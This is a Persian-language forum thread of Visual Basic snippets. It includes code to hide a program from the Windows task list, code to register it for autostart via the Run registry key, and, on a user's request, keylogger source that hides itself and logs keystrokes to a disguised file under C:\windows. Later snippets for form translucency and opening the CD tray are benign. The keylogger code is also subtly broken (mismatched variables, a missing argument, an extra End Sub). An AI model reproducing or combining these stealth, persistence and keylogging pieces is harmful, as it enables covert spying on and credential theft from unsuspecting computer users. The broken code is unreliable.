سورس کدهای vb + سوال بپرس (حرفه ای)

در این قسمت قصد دارم سورس کدهایی که به برنامه نویسا کمک میکنه رو بزارم .
در ضمن اگه سوالی دارید میتونید بپرسید . خوشحال میشم بتونم کمکتون کنم .
:20:

این کد رو توی یک ماژول بزارید و برنامه را از توی منوی تسک منیجر حذف کنید ...

کد:

---


Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
' ----Public Declares for this code
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
' ----What makes it invisible/visible in Ctrl-alt-delete
' Note: That if you run this program from your development
'enviorment(VB) you will not see your development
'enviorment(VB) or your programs name in the
'Ctrl-Alt-Delete Dialog.
 
Public Sub Hide_Program_In_CTRL_ALT_Delete()
 
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub

---

با این کد شما میتونید برنامه را در استارت آپ قرار دهید یعنی هربار اجرای ویندوز برنامه هم اجرا شود ...

کد:

---

'*************in majooooool *****************
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal _
hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1
'****************in Form**********************
Private Sub Form_Load()
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, _
KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, _
ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
End Sub

---

اگه دیدم طرفدار داره پیام بزارید تا کد رو براتون بزارم .
تقریبا هر کدی رو بخواهید میتونم ردیف کنم ...
میتونید برام email هم بزنید .... من هر روز چک می کنم

مثل اینکه طرفدار نداره!؟؟

بسم الله الرحمان الرحیم

ممنون
سورس یه کیلاگر ؟
ممنون میشم اگه بذارید

با سلام خدمت شما دوست عزیز ... قبل از اینکه سورس برنامه رو بزارم لازم به ذکر میدونم که بگم خیلی از این برنامه ها رو خودم ننوشتم ولی همهشونو میتونم تحلیل کنم ... اگه بعد از گزاشتن برنامه سوالی داشتین بپرسین ... با تشکر .در ضمن سورس رو براتون تو پست بعدی میزارم

سورس یک کی لاگر

کد:

---


***************dar yek majool
Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
(ByVal vKey As Long) As Integer
 
 
*************** dar form yek commannd va yek timer darim
Dim strLetter As String, strTotal As String
Private Sub command1_Click()
App.TaskVisible = False
Form1.Visible = False
Form1.Hide
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
For I = 28 To 128
If GetAsyncKeyState <> 0 Then
strLetter = Chr(I)
End If
If strLetter <> old Then
old = strletterstr
Total = strTotal & old
End If
Next I
Open "C:\windows\SysResources.dat" For Output As #1
Print #1, strTotal
Close #1
End Sub
End Sub

---

امیدوارم که به دردتون بخوره ...

این بار کمرنگ کردن فرم رو در vb می گم

کد:

---


Option Explicit
Private Const GWL_EXSTYLE = (-20)
Private Const WS_EX_LAYERED = &H80000
Private Const LWA_ALPHA = &H2
Private Declare Function GetWindowLong Lib "user32" _
  Alias "GetWindowLongA" (ByVal hWnd As Long, _
  ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" _
  Alias "SetWindowLongA" (ByVal hWnd As Long, _
  ByVal nIndex As Long, ByVal dwNewLong As Long) _
  As Long
Private Declare Function SetLayeredWindowAttributes Lib _
    "user32" (ByVal hWnd As Long, ByVal crKey As Long, _
    ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
 
 
Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean
SetWindowLong frm.hWnd, GWL_EXSTYLE, WS_EX_LAYERED
SetLayeredWindowAttributes frm.hWnd, 0, TranslucenceLevel, LWA_ALPHA
TranslucentForm = Err.LastDllError = 0
End Function
 
 
Private Sub Command1_Click()
TranslucentForm Me, 128
End Sub

---

اگه توضیح خواستید بگید تا بگم ...

سلام ؛
سورس جدید مربوط به باز کردن درب cd rom هستش :

کد:

---


Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal _
lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal _
hWndCallback As Long) As Long
 
Function vbmciSendString(ByVal Command As String, ByVal hWnd As Long) As String
Dim Buffer As String
Dim dwRet As Long
Buffer = Space$(100) ' Create a buffer
dwRet = mciSendString(Command, ByVal Buffer, Len(Buffer), hWnd)
vbmciSendString = Buffer
End Function
 
Private Sub Form_Load()
If Dummy = vbmciSendString("set cdaudio door open", 0) Then
Dummy = vbmciSendString("set cdaudio door open", 0)
Else
Dummy = vbmciSendString("set cdaudio door open", 0)
End If
End Sub

---

امیدوارم به دردتون بخوره ...